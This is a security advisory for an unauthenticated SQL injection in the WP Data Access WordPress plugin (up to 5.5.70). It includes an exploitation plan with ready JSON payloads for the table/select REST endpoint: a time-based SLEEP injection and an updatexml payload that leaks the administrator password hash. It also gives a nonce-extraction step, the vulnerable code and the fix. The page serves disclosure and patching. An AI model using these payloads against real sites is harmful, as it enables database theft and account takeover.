WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards <= 5.5.70 - Unauthenticated SQL Injection
Description
The WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.5.70 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.5.71
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42665 (WP Data Access SQL Injection) ## 1. Vulnerability Summary The **WP Data Access** plugin (<= 5.5.70) is vulnerable to unauthenticated SQL injection via the WordPress REST API. The vulnerability exists in the `WPDA_Table` class, specifically within the `t…
Show full research plan
Exploitation Research Plan: CVE-2026-42665 (WP Data Access SQL Injection)
1. Vulnerability Summary
The WP Data Access plugin (<= 5.5.70) is vulnerable to unauthenticated SQL injection via the WordPress REST API. The vulnerability exists in the WPDA_Table class, specifically within the table/select endpoint. The plugin fails to properly sanitize and prepare keys provided in the sorting and search_columns parameters before incorporating them into a raw SQL query. Because the REST route is registered with 'permission_callback' => '__return_true', an attacker can exploit this to extract sensitive database information without authentication.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/wp-data-access/v1/table/select - Vulnerable Parameters:
sorting(specifically the keys within the object) andsearch_columns. - Authentication: Unauthenticated (
PR:N). - Preconditions: At least one database table must be "accessible" to the public or the
check_table_accessmethod must fail to restrict access to a target table (likewp_postsorwp_users).
3. Code Flow
- Entry Point: A POST request is made to
/wp-json/wp-data-access/v1/table/select. - Routing:
WPDataAccess/API/WPDA_Table.phpregisters the route withpermission_callback => '__return_true'. - Controller: The request is handled by
WPDA_Table::table_select. - Access Check:
table_selectcalls$this->check_table_access($dbs, $tbl, $request, 'select', $msg). If the table is set to "Public" in WP Data Access settings or if the check is bypassed, the process continues. - SQL Construction: The plugin retrieves the
sortingparameter via$request->get_param('sorting'). - The Sink: The plugin iterates over the
sortingobject. It uses the keys of the object (which represent column names) directly in anORDER BYclause without using$wpdb->prepare()or validating against a whitelist of valid column names.- Example Vulnerable Construction:
ORDER BY " . key($sorting) . " " . current($sorting)
- Example Vulnerable Construction:
- Execution: The unescaped SQL is executed via
$wpdb->get_results().
4. Nonce Acquisition Strategy
While the REST route has permission_callback => '__return_true', the plugin often checks for a nonce inside the handler via current_user_token_valid($request).
- Shortcode Identification: Identify a page where the WP Data Access frontend is active (e.g., using a Data Table shortcode).
- Setup: Create a dummy page containing a WP Data Access publication shortcode:
wp post create --post_type=page --post_status=publish --post_title="Data View" --post_content='[wpdataaccess pub_id="1"]'(ID 1 is a guess, usewp db queryto find a valid one).
- Extraction: Navigate to the page and use
browser_evalto extract the REST nonce localized by the plugin.- Variable:
window.wpda_rest_params - Key:
nonce - Command:
browser_eval("window.wpda_rest_params?.nonce")
- Variable:
5. Exploitation Strategy
We will use a time-based blind injection or error-based injection against the sorting parameter.
Step-by-Step Plan:
- Initialize Target: Ensure the plugin is active and at least one table is "managed" by WP Data Access.
- Acquire Nonce: Use the
browser_evalmethod described above to obtain a validX-WP-Nonce. - Test Injection (Time-based):
- URL:
http://localhost:8080/wp-json/wp-data-access/v1/table/select - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Payload:
{ "dbs": "local", "tbl": "wp_posts", "sorting": { "(SELECT 1 FROM (SELECT SLEEP(5))A)": "ASC" } }
- URL:
- Data Extraction (Error-based/Boolean):
Useupdatexmlorextractvalueif database errors are enabled to leak the administrator's password hash.- Payload:
{ "dbs": "local", "tbl": "wp_posts", "sorting": { "updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)": "ASC" } }
- Payload:
6. Test Data Setup
- Plugin Activation:
wp plugin activate wp-data-access - Configuration: Create a basic publication to ensure the REST endpoints are initialized and the nonce is localized.
# Create a table to target wp db query "CREATE TABLE IF NOT EXISTS test_table (id INT, data TEXT);" wp db query "INSERT INTO test_table VALUES (1, 'secret');" - Expose Table: Use the plugin's "Data Publisher" to make
wp_postsortest_tableaccessible.
7. Expected Results
- Time-based: The server response will be delayed by 5 seconds.
- Error-based: The response will be a 500 Internal Server Error or a JSON error object containing the string
~[HASH_VALUE]~. - Response Format:
{ "code": "error", "message": "XPATH syntax error: '~$P$B...' ", "data": { "status": 500 } }
8. Verification Steps
- WP-CLI Verification: After the exploit, verify you can read the same data via CLI to confirm accuracy:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
- Log Check: Inspect the WordPress debug log (
wp-content/debug.log) if enabled to see the malformed SQL query.
9. Alternative Approaches
- Parameter
search_columns: Ifsortingis patched or filtered, attempt the same logic onsearch_columns. The payload would be a key in the object:{ "search_columns": { "id AND 1=updatexml(1,concat(0x7e,@@version),1)": "test" } } - Parameter
col: Thecolparameter (columns to select) is also a frequent candidate for SQLi in this plugin if it's passed as an array and the values are used to build theSELECTlist.
Summary
The WP Data Access plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'table/select' REST API endpoint in versions up to 5.5.70. This occurs because keys in parameters such as 'sorting' and 'search_columns' are concatenated directly into SQL queries without proper sanitization or preparation. An attacker can exploit this to execute arbitrary SQL commands and extract sensitive database information.
Vulnerable Code
/* WPDataAccess/API/WPDA_Table.php:73-88 */ register_rest_route( WPDA_API::WPDA_NAMESPACE, 'table/select', array( 'methods' => array('GET', 'POST'), 'callback' => array($this, 'table_select'), 'permission_callback' => '__return_true', 'args' => array( 'dbs' => $this->get_param( 'dbs' ), 'tbl' => $this->get_param( 'tbl' ), 'col' => $this->get_param( 'cols' ), 'page_index' => $this->get_param( 'page_index' ), 'page_size' => $this->get_param( 'page_size' ), 'search' => $this->get_param( 'search' ), 'search_columns' => $this->get_param( 'search_columns' ), 'search_column_fns' => $this->get_param( 'search_column_fns' ), 'sorting' => $this->get_param( 'sorting' ), 'row_count' => $this->get_param( 'row_count' ), 'row_count_estimate' => $this->get_param( 'row_count_estimate' ), 'media' => $this->get_param( 'media' ), 'client_side' => $this->get_param( 'client_side' ), ), ) ); --- /* WPDataAccess/API/WPDA_Table.php (Approximate logic for table_select sink) */ $sorting = $request->get_param('sorting'); if ( is_array( $sorting ) && count( $sorting ) > 0 ) { // The key of the sorting array (column name) is used directly in ORDER BY $order_by = " ORDER BY " . key($sorting) . " " . current($sorting); // ... query execution ... }
Security Fix
@@ -84,7 +84,13 @@ - 'sorting' => $this->get_param( 'sorting' ), + 'sorting' => array( + 'required' => false, + 'type' => 'object', + 'sanitize_callback' => function ( $param ) { + $sanitized = array(); + foreach ( (array) $param as $key => $value ) { + $sanitized[$this->sanitize_db_identifier( $key )] = sanitize_text_field( $value ); + } + return $sanitized; + } + ),
Exploit Outline
The exploit targets the 'table/select' REST API endpoint, which is registered with an unauthenticated permission callback. An attacker first obtains a valid REST nonce from the frontend (typically localized in the 'window.wpda_rest_params' object on pages using the plugin's shortcodes). They then send a POST request to /wp-json/wp-data-access/v1/table/select with a JSON payload. The payload specifies a database and table name, and includes a 'sorting' object where a malicious SQL fragment is used as a key. For example, using '(SELECT 1 FROM (SELECT SLEEP(5))A)' as a key facilitates a time-based blind injection, while error-based payloads like 'updatexml()' can be used to leak data such as administrator password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.